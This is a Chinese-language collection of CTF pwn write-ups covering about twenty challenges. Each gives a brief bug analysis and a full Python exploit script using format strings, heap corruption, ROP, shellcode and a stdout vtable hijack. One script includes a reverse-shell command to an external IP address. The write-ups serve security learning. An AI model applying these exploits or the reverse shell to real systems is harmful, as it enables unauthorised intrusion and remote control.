Loading

[BUUCTF] pwn 合集

简介

有些题目很碎,直接搞一个合集吧,收录20个题目,大部分都是buuctf上面的,还有其他的题目。

hitcon_2018_hackergame_2018_calc

这道题主要的考点在于使用-0x80000000/-1时也会触发异常。另外,有些软件和很多编程语言提供交互式的shell,比如vi/vim/python/python3/python/nmap/irb/perl。这里试了下,远程含有vim

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

# trigger exception
sla(">>> ", "-2147483648/-1")
sla("Program crashed! You can run a program to examine:\n", 'vim')
sl(":!sh")

ia()

远程:

image-20220308221732996

ciscn_2019_nw_6

一道关于snprintf的格式化字符串的题,输入在堆上,可借助ebp链完成利用。就当printf做即可。

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
libc: ELF = gift['libc']

if gift.remote:
    libc = ELF("/home/roderick/glibc-all-in-one/buuctf_libc/x86/libc-2.27.so")

data = "roderick"+"%p,"*20
sla("please input the key:\n", data)

m = rl().split(b",")
log_ex(f"{m}")

stack_addr = int16_ex(m[7])
libc_addr = int16_ex(m[16])
target_addr = stack_addr + 4

libc_base = libc_addr - libc.sym['__libc_start_main'] - 241
libc.address = libc_base

log_address("stack_addr", stack_addr)
log_address("libc_addr", libc_addr)
log_libc_base_addr(libc_base)

data = "%{}c%24$hn".format(target_addr & 0xffff)
sla("please input the key:\n", data)

r()

data = "%{}c%61$hn".format(libc.sym.gets & 0xffff)
sla("please input the key:\n", data)
r()

data = "%{}c%24$hn".format((target_addr+2) & 0xffff)
sla("please input the key:\n", data)
r()

data = "%{}c%61$hn".format((libc.sym.gets >> 16) & 0xffff)
sla("please input the key:\n", data)
r()

target_addr += 8
data = "%{}c%24$hn".format((target_addr) & 0xffff)
sla("please input the key:\n", data)
r()

data = "%{}c%61$hn".format(stack_addr & 0xffff)
sla("please input the key:\n", data)
r()

sla("please input the key:\n", "hello")
r()
#
sl(b"a"*8+p32(stack_addr+0x20)+b"\x90"*0x30+ShellcodeMall.i386.cat_flag)

ia()

远程:

image-20220308221900564

picoctf_2018_gps

ret2shellcode

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

m = rls("Current position:")
log_ex(f"get msg: {m}")

stack_addr = int16_ex(m[-14:])
log_address("stack_addr", stack_addr)

sla("What's your plan?\n> ", b"\x90"*0x800 + ShellcodeMall.amd64.cat_flag)

sla("Where do we start?\n> ", hex(stack_addr+0x400))

ia()

远程打:

image-20220308223356725

rootersctf_2019_xsh

本质上是一个格式化字符串的题

漏洞点

image-20220308223727650

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']

sla("$ ", "echo xxx%p")

ru("xxx")
m = rl()
code_base = int16_ex(m) - 0x23ae
log_libc_base_addr(code_base)
elf.address = code_base

sla("$ ", b"echo xxx" + fmtstr_payload(offset=25, writes={elf.got.strncmp : elf.sym.system}, numbwritten=3, write_size="short", write_size_max="short"))

sla("$ ", "/bin/bash")

sl("cat flag")

ia()

远程打:

image-20220308224456751

redhat_2019_three

观察执行shellcode时的寄存器值,巧妙地利用xchg esp, ecx;ret进行rop

漏洞点

可以写3个字节的shellcode

image-20220308224842511

那么可以在call eax的时候断住看看寄存器状态:

image-20220308225613527

ECX正好是0x80f6cc0,那么可以直接交换especx后进行rop

正好3个字节,满足要求。

image-20220308225935478

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

sla("Give me a index:\n", "0")
sa("Three is good number,I like it very much!\n", "\x87\xcc\xc3")
sla("Leave you name of size:\n", str(0x200))
# ROPgadget --binary ./redhat_2019_three --ropchain
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5004) # @ .data + 4
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d9) # pop ebx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080f5000) # padding without overwrite ebx
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x08049903) # int 0x80
sa("Tell me:\n", p)
ia()

远程打:

image-20220308230141814

zer0pts_2020_protrude

不得不说,这个gadgetadd dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret确实是yyds

checksec

image-20220308235343962

远程为libc-2.23.so

漏洞点

image-20220308235434524

这里的rax实际上小于8 * n,所以会有栈溢出。当输入n=20或者n=22的时候,都会有溢出,恰好能溢出rbpret

还有就是,循环变量在rbp-0x30rsprbp-0x20。也就是说,在输入数字的过程中,可以修改这两个变量。

利用思路

可以修改index或者指针,也就可以让任意地址写任意值。

首先说思路一:改index,越过canary修改ret。但是由于只能改到ret,且程序没有循环,所以这里可以再一次执行_start函数,两次修改除了canary和指针地址外,其他值都刷为0,那么利用两次的和可以计算出一个差值,这个差值就是一个栈地址。紧接着第三次执行main函数,即可修改rbpret用栈迁移做rop

不过这个思路写起来麻烦,我也懒得算,所以我选择改指针。

思路二:需改指针为got表上方地址,接着下一次修改printf@gotpop rdi; ret的地址,然后,你就会发现,之前输入的数可以直接拿来rop。借助magic gadgetatol@got修改为system,执行一次read_long输入/bin/sh即可拿到shell

简要分析一下思路二,在0x40090地址处有一个call printf,我们知道,call xxx的本质是push ip; jmp xxx0x4008d5有个mov rax, rsp,可知,此时的rsp就是我们输入第一个数的地址。所以,如果把printf@got修改为pr,那么就会把原来push到栈上的地址弹到寄存器,然后将输入的第一个数作为地址进行跳转执行,也就可以rop。当输入n=20的时候,前面可以输入12个数,用来rop绰绰有余。

修改printf@got

image-20220309001349896

执行call printf

image-20220309001521834

修改atol@got

image-20220309001631498

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()
elf: ELF = gift['elf']

sla("n = ", "20")

# 0x00000000004007a8: add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret 
# 0x0000000000400a7a: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;

pl = [
    0x0000000000400a7a,
    0xe4f0,
    elf.got.atol+0x3d,
    0, 0, 0, 0,
    0x00000000004007a8,
    elf.sym.read_long
]

for i in range(12-len(pl)):
    pl.append(0)

for i in pl:
    r()
    sl(str(i))

r()
sl(str(0xd))
r()
sl(str(elf.got.printf - 8 * 0xf))

r()
sl(str(0x0000000000400a82)) # 0x0000000000400a82: pop r15; ret;

sl("/bin/bash")

sl("cat /flag")

ia()

远程打:

image-20220308235041482

jarvisoj_xwork

静态链接程序,版本很低,方法很多。

checksec

image-20220312130919259

漏洞点

double free:

image-20220312130949265

利用思路

版本很低,推测是2.23,思路如下:

  • 泄露堆地址
  • 使用fastbin attack构造unsortedbin,并执行unsortedbin attack
  • 修改top_chunk指针指向数据段,修复unsortedbin list
  • 利用类似house of force的思路,使得堆分配到数据段
  • 修改指针,泄露栈地址
  • 利用leave;ret迁移栈到数据段执行

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']



def add(data="dedbeef"):
    sla("5.Exit\n", "1")
    s(data)

def show(idx):
    sla("5.Exit\n", "2")
    sla("Input the order index:", str(idx))
    return rn(0x18)

def edit(idx, data):
    sla("5.Exit\n", "3")
    sla("Input the order index:", str(idx))
    s(data)


def dele(idx):
    sla("5.Exit\n", "4")
    sla("Input the order index:", str(idx))


sla("What's your name:", "roderick")

for i in range(5):
    add()

dele(1)
dele(0)

m = show(0)
heap_addr = u64_ex(m[:8])
log_address("heap_addr", heap_addr)

edit(0, p64(heap_addr-0x10)+p64(0)*2+p32(0x31))

add(p64(0)*3+p32(0x31))
add(p64(0)+p64(0x91))

# get unsorted bin chunk
dele(1)

# unsorted bin attack
edit(6, p64(0)+p64(0x31)+p64(0)+p32(0x6CCD60-0x10))

add()

edit(0, p64(0x6ccd60)+p64(0)+p64(0x6ca858)+p32(0x6ca858))

add(p64(0x6ccd60)+p64(0x6ccd60+0x40)+p64(0x6ccd60+0x20)+p32(0x6c9f80))

m = show(5)
stack_addr = u64_ex(m[:8])
log_address("stack_addr", stack_addr)

target_addr = stack_addr - 0x3a1 -8

if gift.remote:
    target_addr = stack_addr - 0x349

edit(2, p64(target_addr) + b"/bin/sh\x00"+p64(0x00000000004789a6) + p32(0x3b))
edit(4, p64(0)+p64(0)+p64(0x00000000004019c7)+p32(0x6ccd98))
edit(7, p64(0) + p64(0x00000000004018a6)+p64(0x6ccd68)+p32(0x00000000004003da))

edit(0, p64(0x6ccd68) + p64(0x0000000000400a12))

sleep(0.3)
sl("cat /flag")
# mprotect sub_474D10
# 0x00000000004019c7: pop rsi; ret;
# 0x00000000004789a6: pop rax; pop rdx; pop rbx; ret; 
# 0x00000000004018a6: pop rdi; ret;
# 0x00000000004003da: syscall; 
# 0x6c9f80 stack addr
# 0x0000000000400a12: leave; ret; 

ia()

远程打:

image-20220312152554705

pwnable_loveletter

不得不说,pwnable的题目都非常地因垂丝汀。

checksec

image-20220320165519663

静态链接的程序。

漏洞点

出现protect函数:

image-20220320165557025

会将存在于输入字符串中的敏感字符替换为一个爱心。但是在替换的时候,字符串的长度会一直增大,且没有考虑到输入是储存在栈上的,因此,会造成栈溢出。

利用思路

尽管存在溢出,但是并不能直接利用。因为栈溢出需要绕过canary,但是此处没有办法泄露出canary的值。因此,直接rop是很困难的。存在栈溢出的时候,可以观察还有哪些变量会被覆盖掉,以及被覆盖的变量有没有参与到后续的代码中。发现在

image-20220320165945100

这三个长度都可以控制。由于最后的command是一段一段拼接的,可以直接控制第一段,是一个echo xxx

那么,如何通过修改echo去执行系统命令呢,答案就是可以只用e这一个字母去拼凑命令。目前可以利用的命令至少有:enved

# 使用env
env sh -c bash
# 使用ed
ed ! 
!sh

不难写出exp

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

# get shell by 
# p = "nv sh -c bash "
p = "d ! "
sa("is : ", p + ";" + "a"*(0x100-3-len(p))+"\x01\n")

sleep(4)
sl("!sh")
sleep(1)
sl("cat /flag")

ia()

远程打:

image-20220320170714941

x_nuca_2018_revenge

这题难就难在找gadget,拿shell的姿势是真的风骚。

题目是静态链接,直接在数据段上溢出,可以覆盖到后面的数据。

思路和house of husk类似,利用printf的那几个函数指针table完成利用。

思路:

首先控制rax

image-20220320170928549

image-20220320170959874

然后这里设为:xchg esp, eax ; ret即可

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']


name_addr = elf.sym.name

"""
__printf_va_arg_table 0x6d0
__printf_function_table 0x648
__printf_arginfo_table 0x6c8
__printf_modifier_table 0x650
"""

payload = flat({
    0:[
        0x435459, # pop rdx, pop rsi; ret
        0,
        0,
        0x400525, # pop rdi; ret
        0x6b73e0+0x100,
        0x43364c, # pop rax; ret
        0x3b,
        0x400368 # syscall
    ],
    0x100: "/bin/sh\x00",
    0x390: [0x46d935] * 0x20,
    0x650: 0,
    0x6c8: 0x6b73e0,
    elf.sym['_dl_scope_free_list']-0x6b73e0: 0x6b73e0,
    elf.sym['_dl_wait_lookup_done']-0x6b73e0: 0x4a1a79 # xchg esp, eax; ret
})

sl(payload)

ia()

远程打:

image-20220320171752143

csaw2018_shell_code

基础的shellcode题。编写下面这段发送过去即可。

image-20220320172911848

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

payload = b"\x31\xff\x31\xc0\x31\xd2\xb6\xf0\x0f\x05\xff\xe6"

shellcode = disasm(payload)
print(shellcode)

sla("(15 bytes) Text for node 1:  ", payload)
sla("(15 bytes) Text for node 2: ", payload)

ru("node.next: ")
m = rl()
stack_addr = int16_ex(m[:-1])
log_address_ex("stack_addr")

sla("What are your initials?", flat({
    11:stack_addr+8
}))
sleep(2)

s(b"\x90"*0x100 + ShellcodeMall.amd64.execve_bin_sh)

ia()

远程打:

image-20220320172806364

wdb_2018_4th_pwn2

checksec

image-20220320173755647

libc-2.23.so

漏洞点

0x2333分支:

image-20220320173945682

当打开的文件数量超过1024的时候,会失败。这个时候会返回-1,之后的read函数不会执行,所以此时的buf\x00

利用思路

  • 首先利用前面的递归函数,在栈上留下canary的值。

  • 泄露出canary的值

  • 打开1021/dev/urandom,耗尽所有的文件句柄资源

  • 再打开一次,猜测secret\x00即可进入到栈溢出分支

  • 栈溢出进行rop泄露出flag即可

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def vuln(data):
    sla("option:", "1")
    sa("once..\n", data)

def read_bss(data):
    sla("option:", "2")
    if isinstance(data, (list, tuple)):
        ch = "n" * (len(data) - 1) + "y"
    else:
        ch = "y"
        data = [data]
    for d, c in zip(data, ch):
        sa("bored...\n", d)
        sa("y/n\n", c)

def secret(data):
    sla("option:", "9011")
    sa("code:", data)

# leak canary
read_bss(["deadbeef"] * 10)
vuln("a"*0xa9)
ru("a"*0xa8)

canary = ((u64_ex(rn(8))) >> 8) << 8
log_address_ex("canary")

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()

payload = flat({
    0: "/flag\x00",
    8: canary,
    0x18:[
        pop_rdi_ret, # pop rdi
        0x602080,
        pop_rsi_r15_ret, # pop rsi r15
        0, 0, 
        elf.plt.open,
        pop_rdi_ret, 0,
        pop_rsi_r15_ret, 0x602180, 0, 
        elf.plt.read,
        pop_rdi_ret, 
        0x602180,
        elf.plt.puts
    ]
})

read_bss(payload)

for i in range(1021):
    secret("\x00" * 8)
    if i % 0x100 == 0:
        log_ex(f"current fd: {i+3}")

secret("\x00" * 8)
ia()

远程打:

image-20220320213703417

wdb_2018_final_pwn2

直接一个ret即可绕过。

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

# CurrentGadgets.set_find_area(find_in_elf, find_in_libc)

data = flat({
    40: [   
        CurrentGadgets.ret(),
        CurrentGadgets.pop_rdi_ret(),
        CurrentGadgets.bin_sh(),
        elf.plt.system
    ]
})
sla("> ", data)

sl("cat /flag")

ia()

wdb_2020_1st_boom2

是一个虚拟机,分析完流程即可。

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

data = flat([
    0x10,
    0x19, 
    0x19,
    0xd,
    0xd,
    0xd,
    0x1,
    0xe8,
    0x1a,
    0xd,
    0x9,
    0xd,
    1, 0x2d78b,
    0x19,
    0xb
])
sla("> ", data)

ia()

远程打:

image-20220323221515490

jarvisoj_http

非常简单的题,只要指定特定的User-Agent,即可通过back字段执行任意命令。

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

data = "User-Agent: 2135GFTS\r\n"
data += "back: cat /flag\r\n"
data += "\r\n\r\n"

s(data)

ia()

image-20220403111138695

Firehttpd

checksec

image-20220403145330028

漏洞点

server_file有格式化字符串的漏洞

image-20220403145439751

利用思路

  • 泄露出栈地址
  • 将文件路径的指针修改指向www/../flag即可

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

data = b"GET / \r\n"
data += b"Referer: %269$p\r\n"
data += b"\r\n"

s(data)

m = rls("Referer: ")

rbp_value = int16_ex(m[-15:])
log_address_ex("rbp_value")

targ_addr = rbp_value - 0x1120
rsi_value = rbp_value - 0x10f0

write_bytes= ((rsi_value >> 8) & 0xff) + 0x1

io.close()

ip = gift.ip
port = gift.port

io = remote(ip, port)
gift.io = io

data = b"GET / \r\n"
data += b"Referer: "+ f"%{write_bytes-9}c%15$hhn".ljust(23, "a").encode() + p64_ex(targ_addr+1) + cyclic(184)+b"www/../flag\x00"
data += b"\r\n\r\n"

s(data)

print(ra())

io.close()

image-20220403145405787

pwnable_bookwriter

两种方法,围绕着top_chunk做文章。

checksec

image-20220403153138935

远程环境libc-2.23.so

漏洞点

add分支,溢出:

image-20220403152817884

edit分支:

image-20220403152915223

存在溢出修改下一个chunksize

利用思路

都写在exp里面了

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def add(size, data, attack=False):
    sla("Your choice :", "1")
    sla("Size of page :", str(size))
    if attack:
        return
    sa("Content :", data)

def view(idx):
    sla("Your choice :", "2")
    sla("Index of page :", str(idx))
    ru("Content :\n")
    m = rl()
    return m

def edit(idx, data):
    sla("Your choice :", "3")
    sla("Index of page :", str(idx))
    sa("Content:", data)

sla("Author :", flat({
    0: [
        0, 0x111, # fake chunk
        0, 0x6020a0
        ]
}))

def exp1():
    """
    1. 溢出修改top_chunk的size为很大的值,避免其扩容
    2. 分配大的chunk,使得top_chunk的size为0x1yyy
    3. 再次溢出,修改top_chunk的size为0xyyy,比原来少了0x1000
    4. 分配大的chunk,使top_chunk被释放掉,得到unsortedbin chunk
    5. 修改这个unsortedbin chunk的size为0x1zzz,这个大小需要覆盖新的top_chunk
    6. 分配走这个unsortedbin chunk,此时可以泄露地址
    7. 修改新的top_chunk的size,分配大chunk并再次得到一个unsortedbin chunk
    8. 上一个chunk可以覆写此时的unsortedbin chunk
    9. 伪造unsortedbin chunk链,任意地址分配
    """
    add(0x18, "a"*0x18)
    edit(0, "a"*0x18)
    edit(0, b"a"*0x18 + p32(0x40fe1)[:3])
    add(0x1fe00, "deadbeef")
    add(0x18, "a"*0x18) # 2

    edit(2, "a"*0x18)
    edit(2, b"a"*0x18 + p32(0x1b1)[:3])

    add(0x208, "deadbeef") # 3
    add(0x18, "a"*8) # 4
    m = view(4)
    libc_base = u64_ex(m[8:-1]) - 0x3c4cf8
    log_libc_base_addr(libc_base)
    libc.address = libc_base

    edit(4, "a"*0x18)
    edit(4, b"a"*0x18 + p16(0x13f1))
    edit(3, "a"*0x208)
    edit(3, b"a"*0x208 + p32(0xdf1)[:3])
    
    add(0x13e0, "deadbeef")
    
    add(0x1000, "deadbeef") # 6

    edit(5, flat({
        0x1390: [
            0, 0xdd1,
            0, 0x602060
        ]
    }))

    add(0x100, flat({
        0: "/bin/sh\x00",
        0x30: libc.sym.__malloc_hook,
        0x38: 0
    })) # 7

    edit(0, p64_ex(libc.sym.system))
    add(str(0x602070), 0, 1)
    ia()


def exp2():
    """
    1. 溢出修改top_chunk,得到unsortedbin chunk
    2. 分配满9个
    3. 此时的book[0]的大小,恰好是第8个的地址,可以溢出写
    4. 溢出修改unsortebin chunk链
    5. 同exp1的方法获取shell
    """
    add(0x18, "a"*0x18)
    edit(0, "a"*0x18)
    edit(0, b"a"*0x18 + p32(0xfe1)[:3])
    add(0x1110, "deadbeef")

    add(8, "a"*8)
    m = view(2)
    libc_base = u64_ex(m[8:-1]) - 0x3c5188
    log_libc_base_addr(libc_base)
    libc.address = libc_base

    edit(0, "\x00")
    for i in range(6):
        add(0x10, "deadbeef")
    
    edit(0, flat_z({
        0xf0: [
            0, 0xee1, 
            0, 0x602060
        ]
    }))

    add(0x100, flat({
        0: "/bin/sh\x00",
        0x30: libc.sym.__malloc_hook,
        0x38: 0
    })) # 7

    edit(0, p64_ex(libc.sym.system))
    add(str(0x602070), 0, 1)
    ia()

exp2()

image-20220403153231900

inndy_echo3

checksec

image-20220403154220549

远程为libc-2.23.so

漏洞点

格式化字符串漏洞:

image-20220403173834345

但是在这之前,栈的变化有随机性:

image-20220403173933359

当栈上存在很多地址的时候更好利用,所以这里根据一些特征去爆破一下。

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


s("%14$p,%17$s,%43$p")
stack_data, libc_data, start_main_data = r().split(b",")

stack_addr = int16_ex(stack_data)
libc_addr = u32_ex(libc_data[0xc:0x10])
start_main_addr = int16_ex(start_main_data)

log_address_ex("stack_addr")
log_address_ex("libc_addr")
log_address_ex("start_main_addr")

assert hex(start_main_addr).endswith('637'), "try again!"

set_current_libc_base_and_log(libc_addr, 'setbuf')

s("%{}c%49$hn%4c%50$hndeadbeef\x00".format((stack_addr + 0x40) & 0xffff))
ru("deadbeef")

s("%20c%85$hhn%2c%87$hhndeadbeef\x00")
ru("deadbeef")

hi = libc.sym.system >> 16
lo = libc.sym.system & 0xffff

if lo > hi:
    s("%{}c%21$hn%{}c%20$hndeadbeef\x00".format(hi, lo - hi))
else:
    s("%{}c%20$hn%{}c%21$hndeadbeef\x00".format(lo, hi - lo))

ru("deadbeef")

s("/bin/bash\x00")

ia()

image-20220403174437572

hack_lu_2018_heap_hell

checksec

image-20220403183504608

远程libc-2.23.so

漏洞点

在读取输入的时候,可以溢出:

image-20220403183427437

利用思路

  • 伪造一个unsorted bin chunk,释放掉
  • 泄露出libc地址
  • 负数溢出,写_IO_2_1_stdout_结构体,伪造vtable,执行任意命令
  • 关闭socket即可以使fread返回为0

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def write_heap(off, data, size=None):
    if size is None:
        size = len(data)
    sla("[4] : exit\n", "1")
    sla("How much do you want to write?\n", str(size))
    sla("At which offset?\n", str(off))
    s(data)


def free_heap(off):
    sla("[4] : exit\n", "2")
    sla("At which offset do you want to free?\n", str(off))

def view_heap(off):
    sla("[4] : exit\n", "3")
    sla("At which offset do you want to leak?\n", str(off))
    return rl()

mmap_addr = 0x10000
rls("Allocating your scratch pad")
sl(str(mmap_addr))


# leak addr
write_heap(0, flat_z({
    0: [0, 0x111],
    0x110: [
        0, 0x21,
        0, 0
    ] * 3
}))

free_heap(0x10)

m = view_heap(0x10)
libc_base = set_current_libc_base_and_log(u64_ex(m[:-1]), 0x3c4b78)

file_str = FileStructure()
file_str.vtable = libc.sym["_IO_2_1_stdout_"] + 0x10 + 0x20
file_str.chain = libc.sym['system']
file_str._lock = libc_base + 0x3c6780 # 这里指定一个lock地址即可

# 反弹shell可以成功
payload = b"/bin/bash -c \"bash -i > /dev/tcp/120.25.122.195/10001 0>&1 2>&1\"\x00".ljust(0x48, b"\x00")
payload += bytes(file_str)[0x48:]

write_heap(off=libc.sym._IO_2_1_stdout_ - mmap_addr, data=payload, size=mmap_addr + 0x10000 + 1)

io.shutdown("send")

ia()

反弹shell可以,直接cat flag没有输出,猜测和pwntools有关。

image-20220403182540680

suctf_2019_old_pc

32位的unlink,做得有点不习惯。记录下exp

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from re import M
from click import command
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

if gift.remote:
    libc: ELF = ELF("./libc-2.23.so")
    gift.libc = libc


def purchase(size, data="deadbeef"):
    sla(">>> ", "1")
    sla("Name length: ", str(size))
    sla("Name: ", data)
    sla("Price: ", "19971998")
    m = rls("Now Computer")
    log_ex(f"Get msg: {m}")
    return m

def comment(idx, comm):
    sla(">>> ", "2")
    sla("Index: ", str(idx))
    m = ru(" : ")
    log_ex(f"Get msg: {m}")
    s(comm)
    sla("And its score: ", "19971998")
    return m


def throw(idx):
    sla(">>> ", "3")
    sla("WHICH IS THE RUBBISH PC? Give me your index: ", str(idx))
    m = rls("Comment")
    log_ex(f"Get msg: {m}")
    return m


def rename(idx, name=None, addr=0):
    sla(">>> ", "4")
    sla("Give me an index: ", str(idx))
    if name:
        s(name)
        sla("Wanna get more power?(y/n)", "y")
        sla("Give me serial: ", "e4SyD1C!")
        sla("Hey Pwner\n", p32(addr))


purchase(0x8c)
purchase(0x8c)

throw(0)

comment(1, "a"*4)
m = throw(1)

if gift.debug:
    offset = 0x1b27b0
else:
    offset = 0x1b27b0-0x2000

libc_base = set_current_libc_base_and_log(u32_ex(m[0xc:0x10]), offset)


purchase(0x10) # 0
purchase(0x70) # 1
throw(0)

purchase(0xc) # 0
purchase(0xf8) # 2
purchase(0x10) # 3

throw(0)

purchase(0xc, b"a"*8+p32(0xa0)) # 0
throw(1)

# unlink
throw(2)

purchase(0xa0, flat({
    0x70: [
        0, 0x18,
        0, offset + libc_base,
        0, 0, 
        0, 0x11
    ]
})) # 1

m = comment(0, "comment")

heap_base = u32_ex(m[11:15]) - 0x230
log_heap_base_addr(heap_base)

throw(1)

purchase(0xa0, flat({
    0x70: [
        0, 0x18,
        0, heap_base+8,
        heap_base + 0xf0,
        libc.sym.__free_hook, "/bin/sh\x00"
    ]
})) # 1

rename(0, p32_ex(heap_base + 0xe8), libc.sym.system)

ia()

这里还借助了angr

import angr
import sys

base = 0x400000

#
proj = angr.Project("suctf_2019_old_pc.bk", auto_load_libs=False)
state = proj.factory.blank_state(addr=base+0x115d)
simu = proj.factory.simgr(state)

simu.explore(find=base+0x116A, avoid=base+0x11b9)

if simu.found:
    print("find!")
    solution = simu.found[0]
    key = solution.posix.dumps(sys.stdin.fileno())
    print(key)

image-20220403214246955

远程打:

image-20220403214638459

[N1CTF 2019]TypeChecker

一脸懵逼的进去,一脸懵逼的出来。

参照着这里学习了一下hacker,学了就忘。

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

ru("Please run the pow script with: ")
m = rl().split()

prestr = m[0].decode()
num = int_ex(m[1])

log_ex(f"prestr: {prestr}")
log_ex(f"num: {num}")

res = mbruteforce_hash_prefixstr(hash_algo="sha256", prefix_str=prestr, 
    check_res_func=lambda x: ('{0:0256b}'.format(int(x, 16))).endswith("0"*26), alphabet=string.ascii_letters, start_length=8, max_length=8)

print(res)

sla("and give me the result: ", str(int.from_bytes(res.encode(), "little")))

r()

s("""
{-# LANGUAGE OverloadedStrings, DataKinds, KindSignatures,
  ScopedTypeVariables #-}
{-# OPTIONS_GHC -O3 #-}
import GHC.Types.Backdoor

backdoor :: B1 1337 a -> B2 1337 b
backdoor = id

unsafeCoerce :: a -> b
unsafeCoerce x = unB2 (backdoor $ B1 x)

data Wrap a = Wrap { unwrap :: a }

readMem :: Int -> Int
readMem addr = unwrap (unsafeCoerce (addr - 7))

jmp :: Int -> ()
jmp addr = func (unwrap (unsafeCoerce addr)) `seq` ()

-- `seq` forces strictness on the first argument
-- ... or use BangPatterns for strictness
getAddr :: a -> Int
getAddr x = (y `seq` unsafeCoerce y) - 1
  where y = Wrap x

func :: [Int] -> Int
func [] = 0
func [x] = x
func (x:xs) = func xs

hard :: Int -> Int
hard 0 = 1
hard n =
  0x909090909090050f * hard (n - 16) +
  0xdeb90909090d231 * hard (n - 15) +
  0xdeb909090909058 * hard (n - 14) +
  0xdeb909090903b6a * hard (n - 13) +
  0xdeb909090df8948 * hard (n - 12) +
  0xdeb909090e68948 * hard (n - 11) +
  0xdeb909090909053 * hard (n - 10) +
  0xdeb90004a3e95bb * hard (n - 9) +
  0xdeb909090905441 * hard (n - 8) +
  0xdeb909090909053 * hard (n - 7) +
  0xdeb909090909050 * hard (n - 6) +
  0xdeb90909090c031 * hard (n - 5) +
  0xdeb90004a3e9fbb * hard (n - 4) +
  0xdeb909090e48949 * hard (n - 3) +
  0x6eb900000632d68 * hard (n - 2) 


shellcodeAddr :: Int
shellcodeAddr = 4220274

caddr :: Int
caddr = getAddr shellcodeAddr

cmdBuf :: String
cmdBuf = "/bin/sh"

strBuf :: String
strBuf = "/bin/bash"

main :: IO ()
main = do
  let x = caddr + 8       -- the address of the integer (which INTLIKE closure encloses)
  print (jmp x)
  y <- getLine
